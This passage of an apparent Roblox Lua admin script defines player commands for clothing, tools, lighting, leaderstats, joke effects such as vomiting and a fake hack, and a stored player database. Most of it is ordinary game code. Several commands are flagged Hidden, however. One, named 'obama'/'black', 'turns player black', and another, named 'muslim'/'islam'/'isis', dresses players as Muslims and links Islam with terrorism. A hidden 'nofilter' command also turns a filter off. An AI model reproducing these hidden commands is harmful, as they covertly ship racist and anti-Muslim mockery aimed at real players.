7029 [{"noaccessories", "noaccessory", "noacs", "nohats", "nohat"}] = {"player", "Removes player's accessories", 1, "Member", false, function(Speaker, Rank, Arguments)
7030 local Players = STRING:Scan(Arguments[1], Speaker)
7031 for _,Player in pairs(Players) do
7032 if Player.Character then
7033 for _,Obj in pairs(Player.Character:GetChildren()) do
7034 if Obj:IsA("Accoutrement") then
7035 Obj:Destroy()
7036 end
7037 end
7038 end
7039 end
7040 end};
7041
7042 [{"naked", "noclothes"}] = {"player", "Removes player's clothes and hats", 1, "Member", false, function(Speaker, Rank, Arguments)
7043 local Players = STRING:Scan(Arguments[1], Speaker)
7044 for _,Player in pairs(Players) do
7045 Player:ClearCharacterAppearance()
7046 end
7047 end};
7048
7049 [{"playerdatabase", "playerbase", "playerdatab", "playerdb", "plrdatabase", "plrdatab", "plrdb", "pdatabase", "pdatab", "pdb"}] = {"", "Database of all the players in the server", 0, "Member", false, function(Speaker, Rank, Arguments)
7050 local Players = Server.Data:GetDataStore("MML's Admin"):GetAsync("Players")
7051 local TmpPlayers = {}
7052 local Output = {}
7053 for _,Data in pairs(Players) do
7054 table.insert(Output, {"Name: "..Data.Name.." | UserID: "..Data.UserId.." | Rank: "..Data.Rank.." | Last Joined: "..(Data.LastJoin or "Unknown").." | Account Age: "..(Data.AccountAge or "Unknown"), "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Data.Name})
7055 end
7056 GUI:ListGui(Speaker, "Player Database", Output, 120563622)
7057 end};
7058
7059 [{"clearplayerdatabase", "clearpdb", "cpdb"}] = {"", "Clears the player databse", 0, "Owner", false, function(Speaker, Rank, Arguments)
7060 Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", {})
7061 GUI:SendHint(Speaker, "Player Database cleared", 5)
7062 end};
7063
7064 [{"hack", "hax"}] = {"player", "Fake hacks player", 1, "Member", true, function(Speaker, Rank, Arguments)
7065 local Players = STRING:Scan(Arguments[1], Speaker)
7066 for _,Player in pairs(Players) do
7067 GUI:FakeHack(Player)
7068 end
7069 end};
7070
7071 [{"clonetools", "clonet"}] = {"player", "Clones player's tools and gives the to the speaker", 1, "Member", false, function(Speaker, Rank, Arguments)
7072 local Players = STRING:Scan(Arguments[1], Speaker)
7073 for _,Player in pairs(Players) do
7074 if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
7075 for _,Object in pairs(Player.Backpack:GetChildren()) do
7076 if Object:IsA("Tool") or Object:IsA("HopperBin") then
7077 local Clone = Object:Clone()
7078 Clone.Parent = Speaker.Backpack
7079 end
7080 end
7081 end
7082 end
7083 end};
7084
7085 [{"taketools", "taket", "tt"}] = {"player", "Clone player's tools and gives the to the speaker", 1, "Member", false, function(Speaker, Rank, Arguments)
7086 local Players = STRING:Scan(Arguments[1], Speaker)
7087 for _,Player in pairs(Players) do
7088 if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
7089 for _,Object in pairs(Player.Backpack:GetChildren()) do
7090 if Object:IsA("Tool") or Object:IsA("HopperBin") then
7091 Object.Parent = Speaker.Backpack
7092 end
7093 end
7094 end
7095 end
7096 end};
7097
7098 [{"givetools", "givet", "gt"}] = {"player", "Clone the speaker's tools and gives the to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7099 local Players = STRING:Scan(Arguments[1], Speaker)
7100 for _,Player in pairs(Players) do
7101 if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
7102 for _,Object in pairs(Speaker.Backpack:GetChildren()) do
7103 if Object:IsA("Tool") or Object:IsA("HopperBin") then
7104 local Clone = Object:Clone()
7105 Clone.Parent = Player.Backpack
7106 end
7107 end
7108 end
7109 end
7110 end};
7111
7112 [{"notools", "notool", "cleartools", "cleantools", "ctools", "untools"}] = {"player", "Clears player's backpack", 1, "Member", false, function(Speaker, Rank, Arguments)
7113 local Players = STRING:Scan(Arguments[1], Speaker)
7114 for _,Player in pairs(Players) do
7115 if Player:FindFirstChild("Backpack") then
7116 Player.Backpack:ClearAllChildren()
7117 end
7118 if Player.Character ~= nil then
7119 for _,Obj in pairs(Player.Character:GetChildren()) do
7120 if Obj:IsA("Tool") or Obj:IsA("HopperBin") then
7121 Obj:Destroy()
7122 end
7123 end
7124 end
7125 end
7126 end};
7127
7128 [{"vomit", "puke", "throwup", "barf"}] = {"player", "Makes player vomit", 1, "Member", true, function(Speaker, Rank, Arguments)
7129 local Players = STRING:Scan(Arguments[1], Speaker)
7130 for _,Player in pairs(Players) do
7131 if Player.Character then
7132 if Player.Character:FindFirstChild("Head") then
7133 if Player.Character.Torso:FindFirstChild("Neck") and Player.Character.Head:FindFirstChild("face") then
7134 coroutine.wrap(function()
7135 if Player.Character.Head.face.Texture ~= "rbxassetid://24067663" then if Player.Character.Head.face.Texture ~= "rbxassetid://28118994" then
7136 local OldFace = Player.Character.Head.face.Texture
7137 Player.Character.Torso.Neck.C0 = Player.Character.Torso.Neck.C0 * CFrame.Angles(math.rad(20),0,0)
7138 Player.Character.Head.BrickColor = BrickColor.new("Br. yellowish green")
7139 Player.Character.Head.face.Texture = "rbxassetid://24067663"
7140 local Sound = SOUND:MakeSound(Player.Character.Head, 142539016, 1, 0.9)
7141 Sound:Play()
7142 coroutine.wrap(function() for i = 1,100 do wait()
7143 local Part = Instance.new("Part", Player.Character) Part.BrickColor = BrickColor.new("Br. yellowish green") Part.FormFactor = "Custom" Part.Elasticity = 0.1 Part.Size = Vector3.new(0.2,0.2,0.2) Part.Position = Player.Character.Head.Position + Vector3.new(math.random(-10,10)/10, math.random(-10,10)/10, math.random(-10,10)/10)
7144 coroutine.wrap(function() wait(3) Part:Destroy() end)()
7145 end
7146 Sound:Destroy() Player.Character.Head.face.Texture = OldFace Player.Character.Torso.Neck.C0 = Player.Character.Torso.Neck.C0 * CFrame.Angles(-math.rad(20),0,0) pcall(function() Player.Character.Head.BrickColor = Player.Character["Body Colors"].HeadColor end) end)()
7147 end end
7148 end)()
7149 end
7150 end
7151 end
7152 end
7153 end};
7154
7155 [{"fart", "stink"}] = {"player", "Makes player fart", 1, "Member", true, function(Speaker, Rank, Arguments)
7156 local Players = STRING:Scan(Arguments[1], Speaker)
7157 for _,Player in pairs(Players) do
7158 if Player.Character then
7159 if Player.Character:FindFirstChild("Torso") and Player.Character.Head:FindFirstChild("face") then
7160 coroutine.wrap(function()
7161 if Player.Character.Head.face.Texture ~= "rbxassetid://24067663" then if Player.Character.Head.face.Texture ~= "rbxassetid://28118994" then
7162 local OldFace = Player.Character.Head.face.Texture
7163 local Fart = Instance.new("Part", Player.Character.Torso) Fart.Name = "Fart" Fart.Size = Vector3.new(1,1,1) Fart.Position = Vector3.new(0,100,0) Fart.Transparency = 1
7164 local Weld = Instance.new("Weld", Fart) Weld.Part0 = Fart Weld.Part1 = Player.Character.Torso Weld.C0 = CFrame.new(0,-1,-1) * CFrame.Angles(math.rad(-90),0,0)
7165 local Smoke = Instance.new("Smoke", Fart) Smoke.Name = "Fart Effect" Smoke.Color = Color3.new(70/255, 100/255, 30/255)
7166 Player.Character.Head.face.Texture = "rbxassetid://28118994"
7167 local Sound = SOUND:MakeSound(Fart, 130833677, 1, 0.8)
7168 Sound:Play()
7169 wait(1)
7170 Smoke.Enabled = false
7171 wait(1)
7172 Fart:Destroy()
7173 Fart:Destroy()
7174 Player.Character.Head.face.Texture = OldFace
7175 end end
7176 end)()
7177 end
7178 end
7179 end
7180 end};
7181
7182 [{"graffiti", "graf", "gra", "draw"}] = {"player", "Gives player a tool to do graffiti", 1, "Member", true, function(Speaker, Rank, Arguments)
7183 local Players = STRING:Scan(Arguments[1], Speaker)
7184 for _,Player in pairs(Players) do
7185 if Player:FindFirstChild("Backpack") then
7186 CORE:ExecuteResource("Graffiti", Player.Backpack, {["Color"] = GUI:GetColor()})
7187 end
7188 end
7189 end};
7190
7191 [{"cleargraffiti", "cleargraf", "cleargra", "cleardraw", "cleangraffiti", "cleangraf", "cleangra", "cleandraw", "cgraffiti", "cgraf", "cgra", "cdraw"}] = {"", "Clears any graffiti", 0, "Admin", false, function(Speaker, Rank, Arguments)
7192 local Players = STRING:Scan(Arguments[1], Speaker)
7193 for _,Player in pairs(Players) do
7194 if Player.Character and Player.Character:FindFirstChild("MMLGraffiti") then
7195 Player.Character.MMLGraffiti:ClearAllChildren()
7196 end
7197 end
7198 end};
7199
7200 [{"light", "spotlight"}] = {"player", "Makes player and a small radius around whom to light up", 1, "Member", false, function(Speaker, Rank, Arguments)
7201 local Players = STRING:Scan(Arguments[1], Speaker)
7202 for _,Player in pairs(Players) do
7203 if Player.Character and Player.Character:FindFirstChild("Torso") then
7204 local Light = Player.Character.Torso:FindFirstChild("MML Light") if Light then Light:Destroy() end
7205 Light = Instance.new("PointLight", Player.Character.Torso) Light.Name = "MML Light" Light.Range = 20 Light.Brightness = 2
7206 end
7207 end
7208 end};
7209
7210 [{"lamp", "pointlight", "headlight", "headlamp"}] = {"player", "Makes player and a small radius in from of whom to light up as if there was a head light", 1, "Member", false, function(Speaker, Rank, Arguments)
7211 local Players = STRING:Scan(Arguments[1], Speaker)
7212 for _,Player in pairs(Players) do
7213 if Player.Character and Player.Character:FindFirstChild("Torso") then
7214 local Light = Player.Character.Torso:FindFirstChild("MML Lamp") if Light then Light:Destroy() end
7215 Light = Instance.new("SpotLight", Player.Character.Torso) Light.Name = "MML Lamp" Light.Range = 30 Light.Brightness = 5
7216 end
7217 end
7218 end};
7219
7220 [{"nolight", "nolamp", "unlight", "unlamp"}] = {"player", "Removes player's light and/or lamp", 1, "Member", false, function(Speaker, Rank, Arguments)
7221 local Players = STRING:Scan(Arguments[1], Speaker)
7222 for _,Player in pairs(Players) do
7223 if Player.Character and Player.Character:FindFirstChild("Torso") then
7224 local Lights = {}
7225 for _,Obj in pairs(Player.Character.Torso:GetChildren()) do
7226 if Obj.Name == "MML Lamp" or Obj.Name == "M".."ML Light" then
7227 table.insert(Lights, Obj)
7228 end
7229 end
7230 for _,Light in pairs(Lights) do
7231 coroutine.wrap(function()
7232 for i = 1,20 do
7233 Light.Brightness = Light.Brightness/5
7234 wait()
7235 end
7236 Light:Destroy()
7237 end)()
7238 end
7239 end
7240 end
7241 end};
7242
7243 [{"drug", "lsd"}] = {"player", "Gives player the effect of being on lsd", 1, "Member", false, function(Speaker, Rank, Arguments)
7244 local Players = STRING:Scan(Arguments[1], Speaker)
7245 for _,Player in pairs(Players) do
7246 if Player.Character and Player:FindFirstChild("PlayerGui") then
7247 local SG = Player.PlayerGui:FindFirstChild("MML Drug") if SG then SG:Destroy() end
7248 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MML Drug"
7249 local Frame = Instance.new("Frame", SG) Frame.Size = UDim2.new(1,0,1,0) Frame.BackgroundTransparency = 0.5
7250 local Stop = false
7251 coroutine.wrap(function()
7252 repeat
7253 Frame.BackgroundColor3 = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255)
7254 wait(0.1)
7255 until not SG or not SG.Parent
7256 end)()
7257 CORE:ExecuteResource("Drug", Player.Character)
7258 end
7259 end
7260 end};
7261
7262 [{"nodrug", "nolsd", "undrug", "unlsd"}] = {"player", "Removes drug effect", 1, "Member", false, function(Speaker, Rank, Arguments)
7263 local Players = STRING:Scan(Arguments[1], Speaker)
7264 for _,Player in pairs(Players) do
7265 if Player:FindFirstChild("PlayerGui") then
7266 local SG = Player.PlayerGui:FindFirstChild("MML Drug") if SG then SG:Destroy() end
7267 wait() CORE:RestoreCamera(Player)
7268 end
7269 end
7270 end};
7271
7272 [{"searchg", "searchgear"}] = {"string", "Searches the catalog for the gear string", 1, "Member", false, function(Speaker, Rank, Arguments)
7273 local AbuseMode = false
7274 if Rank == "Member" then AbuseMode = Settings.DisableAbuse end
7275 MARKET:ShowSearch(Speaker, 5, Arguments[1], function(ID)
7276 if Speaker:FindFirstChild("Backpack") then
7277 CORE:Insert(ID, Speaker.Backpack, true, {"Tool", "HopperBin"}, AbuseMode)
7278 end
7279 end)
7280 end, Http = true};
7281
7282 [{"searchaccessory", "searchaccessories", "searchacs", "searcha", "searchhat", "searchhats", "searchh"}] = {"string(type) string(query)", "Searches the catalog for the accessory string(query) with the type of string(type)", 1, "Member", false, function(Speaker, Rank, Arguments)
7283 local Type = "all"
7284 local Query = string.lower(Arguments[1])
7285 local Arguments = STRING:GetSplit(Query, 2, Settings.Bet)
7286 if #Arguments == 2 and Assets.AccessoryTypes[Arguments[1]] then
7287 Type = Arguments[1]
7288 Query = Arguments[2]
7289 end
7290 MARKET:ShowSearch(Speaker, 11, Query, function(ID)
7291 if Speaker.Character then
7292 CORE:Insert(ID, Speaker.Character, true, {"Accoutrement"})
7293 end
7294 end, MARKET:AccessoryToSubcategory(Type))
7295 end, Http = true};
7296
7297 [{"searchp", "searchpack", "searchpackage"}] = {"string", "Searches the catalog for the package string", 1, "Member", false, function(Speaker, Rank, Arguments)
7298 MARKET:ShowSearch(Speaker, 11, Arguments[1], function(ID)
7299 if Speaker.Character then
7300 CORE:GivePackage(Speaker, ID)
7301 end
7302 end, 11)
7303 end, Http = false};
7304
7305 [{"nopackage", "nopack", "unpackage", "unpack"}] = {"player", "Removes all packages from player", 1, "Member", false, function(Speaker, Rank, Arguments)
7306 local Players = STRING:Scan(Arguments[1], Speaker)
7307 for _,Player in pairs(Players) do
7308 CORE:GivePackage(Player)
7309 end
7310 end};
7311
7312 [{"package", "pack", "morph"}] = {"player num(ID)", "Gives player the package with num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7313 local Players = STRING:Scan(Arguments[1], Speaker)
7314 for _,Player in pairs(Players) do
7315 CORE:GivePackage(Player, Arguments[2])
7316 end
7317 end, Http = false};
7318
7319 [{"change", "changestat", "changeleaderstat", "changestats", "changeleaderstats"}] = {"player string(key) value(string/num)", "Changes player's leaderstats for key(Coins, money, ext) to value", 3, "Member", false, function(Speaker, Rank, Arguments)
7320 local Players = STRING:Scan(Arguments[1], Speaker)
7321 for _,Player in pairs(Players) do
7322 local Stats = Player:FindFirstChild("leaderstats")
7323 if Stats ~= nil then
7324 for _,Stat in pairs(Stats:GetChildren()) do
7325 if string.sub(string.lower(Stat.Name),1,#Arguments[2]) == string.lower(Arguments[2]) then
7326 ypcall(function() Stat.Value = Arguments[3] end)
7327 end
7328 end
7329 end
7330 end
7331 end};
7332
7333 [{"shirt"}] = {"player num(ID)", "Changes player's shirt to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7334 local ID = tonumber(Arguments[2])
7335 local Players = STRING:Scan(Arguments[1], Speaker)
7336 for _,Player in pairs(Players) do
7337 for _,Player in pairs(Players) do
7338 if Player.Character ~= nil then
7339 local Obj = Player.Character:FindFirstChild("Shirt")
7340 if Obj then
7341 Obj.ShirtTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7342 else
7343 Obj = Instance.new("Shirt", Player.Character) Obj.Name = "Shirt" Obj.ShirtTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7344 end
7345 coroutine.wrap(function() Obj.Parent = nil wait(0.1) Obj.Parent = Player.Character end)()
7346 end
7347 end
7348 end
7349 end};
7350
7351 [{"pants"}] = {"player num(ID)", "Changes player's pants to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7352 local ID = tonumber(Arguments[2])
7353 local Players = STRING:Scan(Arguments[1], Speaker)
7354 for _,Player in pairs(Players) do
7355 for _,Player in pairs(Players) do
7356 if Player.Character ~= nil then
7357 local Obj = Player.Character:FindFirstChild("Pants")
7358 if Obj then
7359 Obj.PantsTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7360 else
7361 Obj = Instance.new("Pants", Player.Character) Obj.Name = "Pants" Obj.PantsTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7362 end
7363 coroutine.wrap(function() Obj.Parent = nil wait(0.1) Obj.Parent = Player.Character end)()
7364 end
7365 end
7366 end
7367 end};
7368
7369 [{"tshirt"}] = {"player num(ID)", "Changes player's T-shirt to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7370 local ID = tonumber(Arguments[2])
7371 local Players = STRING:Scan(Arguments[1], Speaker)
7372 for _,Player in pairs(Players) do
7373 for _,Player in pairs(Players) do
7374 if Player.Character ~= nil then
7375 if Player.Character:FindFirstChild("Torso") then
7376 local Obj1 = Player.Character:FindFirstChild("Shirt Graphic")
7377 local Obj2 = Player.Character.Torso:FindFirstChild("roblox")
7378 if Obj1 then
7379 Obj1.Graphic = "rbxassetid://"..MARKET:GetImageFormat(ID)
7380 else
7381 Obj1 = Instance.new("ShirtGraphic", Player.Character) Obj1.Name = "Shirt Graphic" Obj1.Graphic = "rbxassetid://"..MARKET:GetImageFormat(ID)
7382 end
7383 if Obj2 then
7384 Obj2.Texture = "rbxassetid://"..MARKET:GetImageFormat(ID)
7385 else
7386 Obj2 = Instance.new("Decal", Player.Character.Torso) Obj2.Name = "roblox" Obj2.Texture = "rbxassetid://"..MARKET:GetImageFormat(ID) Obj2.Face = "Front"
7387 end
7388 coroutine.wrap(function() Obj1.Parent = nil wait(0.1) Obj1.Parent = Player.Character end)()
7389 coroutine.wrap(function() Obj2.Parent = nil wait(0.2) Obj2.Parent = Player.Character.Torso end)()
7390 end
7391 end
7392 end
7393 end
7394 end};
7395
7396 [{"oder", "od", "onlinedater", "onlinedate"}] = {"player", "Changes player's character to be an online dater", 1, "Member", false, function(Speaker, Rank, Arguments)
7397 local Players = STRING:Scan(Arguments[1], Speaker)
7398 for _,Player in pairs(Players) do
7399 CORE:ChangeCharacter(Player, OderIDs[math.random(1,#OderIDs)], false, Speaker)
7400 end
7401 end};
7402
7403 [{"cookie"}] = {"player", "Gives player a cookie if the speaker is in the admin group", 1, "Member", false, function(Speaker, Rank, Arguments)
7404 if CORE:InAdminGroup(Speaker) then
7405 local Players = STRING:Scan(Arguments[1], Speaker)
7406 for _,Player in pairs(Players) do
7407 if Player:FindFirstChild("Backpack") then
7408 local Tool = Instance.new("Tool", Player.Backpack) Tool.Name = "Cookie" Tool.ToolTip = "Yey! Cookies!" Tool.GripForward = Vector3.new(0,1,0) Tool.GripPos = Vector3.new(0.1,-0.3,-0.1) Tool.GripRight = Vector3.new(0,0,-1) Tool.GripUp = Vector3.new(0.01,0,1)
7409 local Handle = Instance.new("Part", Tool) Handle.Name = "Handle" Handle.Size = Vector3.new(1,1,1)
7410 local Mesh = Instance.new("SpecialMesh", Handle) Mesh.MeshType = "FileMesh" Mesh.Scale = Vector3.new(0.4,0.4,0.4) Mesh.MeshId = "rbxassetid://20939848" Mesh.TextureId = "rbxassetid://21456464"
7411 local Anim = Instance.new("Animation", Tool) Anim.Name = "EatCookie" Anim.AnimationId = "rbxassetid://29517689"
7412 CORE:ExecuteResource("CookieTool", Tool)
7413 end
7414 end
7415 end
7416 end};
7417
7418 [{"decal", "image"}] = {"num(ID)", "Allows player to insert num(ID) as a decal", 1, "Member", false, function(Speaker, Rank, Arguments)
7419 if Speaker:FindFirstChild("Backpack") and tonumber(Arguments[1]) then
7420 CORE:ExecuteResource("InsertDecal", Speaker.Backpack, {["DecalID"] = MARKET:GetImageFormat(tonumber(Arguments[1]))})
7421 end
7422 end};
7423
7424 [{"insert", "model", "ins"}] = {"num(ID)", "Allows player to insert num(ID) as a model(Only works if the model is owned by the owner of the game or ROBLOX)", 1, "Member", false, function(Speaker, Rank, Arguments)
7425 if Speaker:FindFirstChild("Backpack") and tonumber(Arguments[1]) then
7426 local Model = CORE:Insert(tonumber(Arguments[1]), Server.RS)
7427 Model:MakeJoints()
7428 for i = 1,math.random(10,20) do
7429 Model.Name = Model.Name..string.char(math.random(97,122))
7430 end
7431 if Model:GetChildren()[1] then
7432 table.insert(Objects, Model)
7433 CORE:ExecuteResource("InsertModel", Speaker.Backpack, {["Model"] = Model})
7434 end
7435 end
7436 end};
7437
7438 [{"animate", "animation", "anim"}] = {"player num(ID)", "Animates player to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7439 local ID = tonumber(Arguments[2])
7440 local Players = STRING:Scan(Arguments[1], Speaker)
7441 for _,Player in pairs(Players) do
7442 if Player.Character then
7443 CORE:ExecuteResource("PlayAnimation", Player.Character, {["AnimationID"] = Arguments[2]})
7444 end
7445 end
7446 end};
7447
7448 [{"noanimate", "moanimation", "noanim", "unanimate", "unanimation", "unanim"}] = {"player", "Stops animations playing from the animate command", 1, "Member", false, function(Speaker, Rank, Arguments)
7449 local Players = STRING:Scan(Arguments[1], Speaker)
7450 for _,Player in pairs(Players) do
7451 if Player.Character then
7452 local StopAnim = Player.Character:FindFirstChild("Stop MML Animate")
7453 if StopAnim then StopAnim:Destroy() end
7454 end
7455 end
7456 end};
7457
7458 [{"ambient"}] = {"Color3(1) Color3(2) Color3(3)", "Changes the ambient lighting to Red - Color3(1) Green - Color3(2) Blue - Color3(3) (Out of 255)", 3, "Member", false, function(Speaker, Rank, Arguments)
7459 if tonumber(Arguments[1]) and tonumber(Arguments[2]) and tonumber(Arguments[3]) then
7460 Server.Lighting.Ambient = Color3.new(tonumber(Arguments[1])/255,tonumber(Arguments[2])/255,tonumber(Arguments[3])/255)
7461 end
7462 end};
7463
7464 [{"brightness", "bright"}] = {"num", "Changes the lighting brightness to num", 1, "Member", false, function(Speaker, Rank, Arguments)
7465 if tonumber(Arguments[1]) then
7466 Server.Lighting.Brightness = tonumber(Arguments[1])
7467 end
7468 end};
7469
7470 [{"pl", "playerlist"}] = {"player", "Enables player to see the player list", 1, "Member", false, function(Speaker, Rank, Arguments)
7471 local Players = STRING:Scan(Arguments[1], Speaker)
7472 for _,Player in pairs(Players) do
7473 GUI:CoreGui(Player, "PlayerList", true)
7474 end
7475 end};
7476
7477 [{"npl", "nopl", "unpl", "noplayerlist", "unplayerlist"}] = {"player", "Disables player to see the player list", 1, "Member", false, function(Speaker, Rank, Arguments)
7478 local Players = STRING:Scan(Arguments[1], Speaker)
7479 for _,Player in pairs(Players) do
7480 local Players = STRING:Scan(Arguments[1], Speaker)
7481 GUI:CoreGui(Player, "PlayerList", false)
7482 end
7483 end};
7484
7485 [{"bc", "tbc", "obc"}] = {"player", "What do you know, it's a real command!", 1, "Member", false, function(Speaker, Rank, Arguments)
7486 GUI:SendMessage(Speaker, "Wow, you thought this was a command", "Did you look at the comments by chance?", 5253865)
7487 end, Hidden = true};
7488
7489 [{"obama", "black", "1337"}] = {"player", "Turns player black", 1, "Member", false, function(Speaker, Rank, Arguments)
7490 local Players = STRING:Scan(Arguments[1], Speaker)
7491 for _,Player in pairs(Players) do
7492 CORE:ChangeCharacter(Player, 1337, false, Speaker)
7493 end
7494 end, Hidden = true};
7495
7496 [{"muslim", "islam", "isis"}] = {"player", "Turns player into a muslim", 1, "Member", false, function(Speaker, Rank, Arguments)
7497 local Players = STRING:Scan(Arguments[1], Speaker)
7498 for _,Player in pairs(Players) do
7499 if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
7500 ypcall(function() Player.Character.Torso.roblox:Destroy() end)
7501 Player:ClearCharacterAppearance()
7502 CORE:Insert(12436480, Player.Character, true)
7503 Player.Character.Head.face.Texture = "rbxassetid://110287880"
7504 Instance.new("Shirt", Player.Character).ShirtTemplate = "rbxassetid://205596436"
7505 Instance.new("Pants", Player.Character).PantsTemplate = "rbxassetid://205596483"
7506 end
7507 end
7508 end, Hidden = true};
7509
7510 [{"noob", "noobify", "boon"}] = {"player", "Turns player into a noob", 1, "Member", false, function(Speaker, Rank, Arguments)
7511 local Players = STRING:Scan(Arguments[1], Speaker)
7512 for _,Player in pairs(Players) do
7513 CORE:ChangeCharacter(Player, 0, false, Speaker)
7514 end
7515 end};
7516
7517 [{"nofilter", "unfilter", "defilter"}] = {"", "Removes current filter", 0, "Owner", false, function(Speaker, Rank, Arguments)
7518 ShouldFilter = false
7519 end, Hidden = true};
7520
7521 [{"bet"}] = {"string", "Changes the bet to string", 1, "Owner", false, function(Speaker, Rank, Arguments)
7522 local Bet = Arguments[1]
7523 if Bet == "/" or Bet == "-" or Bet == "(" or Bet == ")" then
7524 GUI:SendMessage(Speaker, "Cannot change bet", "RED Illegal characters used to become a bet", "Error")
7525 elseif #Bet > 5 then
7526 GUI:SendMessage(Speaker, "Bet too long", "RED The bet is too long and is over 5 characters (You have "..#Bet.." characters)", "Error")
7527 else
7528 local Answer = GUI:PromptMessageWithButtons(Speaker, "Are you sure you want to change the bet", "You are about to change the bet from '"..Settings.Bet.."' to '"..Bet.."' and commands like "..Settings.Prefix.."ff"..Settings.Bet.."me will be changed to "..Settings.Prefix.."ff"..Bet.."me, Continue?", "Question", {"Yes", "No"})
7529 if Answer == "Yes" then
7530 local OldBet = Settings.Bet
7531 CORE:ChangeBet(Bet)
7532 GUI:MessageAdmins("Bet Change", "The bet has changed from '"..OldBet.."' to '"..Bet.."' and commands like "..Settings.Prefix.."ff"..OldBet.."me will be changed to "..Settings.Prefix.."ff"..Bet.."me")
7533 end
7534 end
7535 end};
7536
7537 [{"prefix"}] = {"string", "Changes the prefix to string", 1, "Owner", false, function(Speaker, Rank, Arguments)
7538 local Prefix = Arguments[1]
7539 if #Prefix > 5 then
7540 GUI:SendMessage(Speaker, "Prefix too long", "RED The Prefix is too long and is over 5 characters (You have "..#Prefix.." characters)", "Error")
7541 else
7542 local Answer = GUI:PromptMessageWithButtons(Speaker, "Are you sure you want to change the Prefix", "You are about to change the Prefix from '"..Settings.Prefix.."' to '"..Prefix.."' and commands like "..Settings.Prefix.."ff"..Settings.Bet.."me will be changed to "..Prefix.."ff"..Settings.Bet.."me, Continue?", "Question", {"Yes", "No"})
7543 if Answer == "Yes" then
7544 local OldPrefix = Settings.Prefix
7545 Settings.Prefix = Prefix
7546 GUI:MessageAdmins("Prefix Change", "The Prefix has changed from '"..OldPrefix.."' to '"..Prefix.."' and commands like "..OldPrefix.."ff"..Settings.Bet.."me will be changed to "..Prefix.."ff"..Settings.Bet.."me")
7547 end
7548 end
7549 end};
7550
7551 [{"commandbar", "cmdbar", "cbar", "commandgui", "cmdgui", "cgui", "commandbox", "cmdbox", "cbox"}] = {"", "Gives you a command bar to enter commands", 0, "Member", false, function(Speaker, Rank, Arguments)
7552 GUI:CommandBar(Speaker)
7553 end};
7554
7555 [{"permcommandbar", "permcmdbar", "permcommandgui", "permcmdgui"}] = {"", "Gives you a command bar for each time you spawn", 0, "Admin", false, function(Speaker, Rank, Arguments)
7556 GUI:CommandBar(Speaker)
7557 PermCommandBars[Speaker.Name] = true
7558 end};
7559
7560 [{"nopermcommandbar", "nopermcmdbar", "nopermcommandgui", "nopermcmdgui", "unpermcommandbar", "unpermcmdbar", "unpermcommandgui", "unpermcmdgui"}] = {"", "If you are in the perm command bar list, it takes you out(You keep command bar for current spawn)", 0, "Admin", false, function(Speaker, Rank, Arguments)
7561 PermCommandBars[Speaker.Name] = nil
7562 end};
7563
7564 [{"remotenopermcommandbar", "remotenopermcmdbar", "remotenopermcommandgui", "remotenopermcmdgui", "remoteunpermcommandbar", "remoteunpermcmdbar", "remoteunpermcommandgui", "remoteunpermcmdgui"}] = {"player", "If player is in the perm command bar list, it takes player out(player keep command bar for current spawn)", 1, "Owner", false, function(Speaker, Rank, Arguments)
7565 local Players = STRING:Scan(Arguments[1], Speaker)
7566 for _,Player in pairs(Players) do
7567 PermCommandBars[Player.Name] = nil
7568 end
7569 end};
7570
7571 [{"dummy", "newdummy", "dum", "figure"}] = {"", "Creates a dummy", 0, "Member", false, function(Speaker, Rank, Arguments)
7572 CORE:CreateFigure("Dummy", nil, true, Speaker)
7573 end};
7574
7575 [{"namedummy", "dummyname", "namenewdummy", "namedum", "dumname", "namefigure", "ndummy", "nnewdummy", "ndum", "nfigure"}] = {"string", "Creates a dummy named string", 1, "Member", false, function(Speaker, Rank, Arguments)
7576 CORE:CreateFigure(Arguments[1], nil, true, Speaker)
7577 end};
7578
7579 [{"clone", "copy"}] = {"player", "Creates clone of player", 1, "Member", false, function(Speaker, Rank, Arguments)
7580 local Players = STRING:Scan(Arguments[1], Speaker)
7581 for _,Player in pairs(Players) do
7582 CORE:ClonePlayer(Player)
7583 end
7584 end};
7585
7586 [{"nameclone", "clonename", "namecopy", "nclone", "ncopy"}] = {"player string", "Creates clone of player named string", 2, "Member", false, function(Speaker, Rank, Arguments)
7587 local Players = STRING:Scan(Arguments[1], Speaker)
7588 for _,Player in pairs(Players) do
7589 CORE:ClonePlayer(Player, Arguments[2])
7590 end
7591 end};
7592
7593 [{"clear", "clr"}] = {"", "Clears debris in workspace left by the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
7594 for _,Obj in pairs(Objects) do
7595 if Obj then Obj:Destroy() end
7596 end
7597 for Name,Jail in pairs(Jails) do
7598 if not game.Players:FindFirstChild(Name) then
7599 Jail:Destroy()
7600 Jails[Name] = nil
7601 end
7602 end
7603 Objects = {}
7604 end};
7605
7606 [{"clean", "cln"}] = {"", "Clears debris in workspace by players", 0, "Member", false, function(Speaker, Rank, Arguments)
7607 for _,Obj in pairs(Server.Workspace:GetChildren()) do
7608 if Obj:IsA("Accoutrement") or Obj:IsA("Tool") then
7609 Obj:Destroy()
7610 end
7611 end
7612 end};
7613
7614 [{"sparkles", "sparks"}] = {"player", "Adds a sparkling effect to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7615 local Players = STRING:Scan(Arguments[1], Speaker)
7616 for _,Player in pairs(Players) do
7617 if Player.Character and Player.Character:FindFirstChild("Torso") then
7618 local Sparkles = Instance.new("Sparkles", Player.Character.Torso) table.insert(Objects, Sparkles)
7619 end
7620 end
7621 end};
7622
7623 [{"fire"}] = {"player", "Makes player catch on fire", 1, "Member", false, function(Speaker, Rank, Arguments)
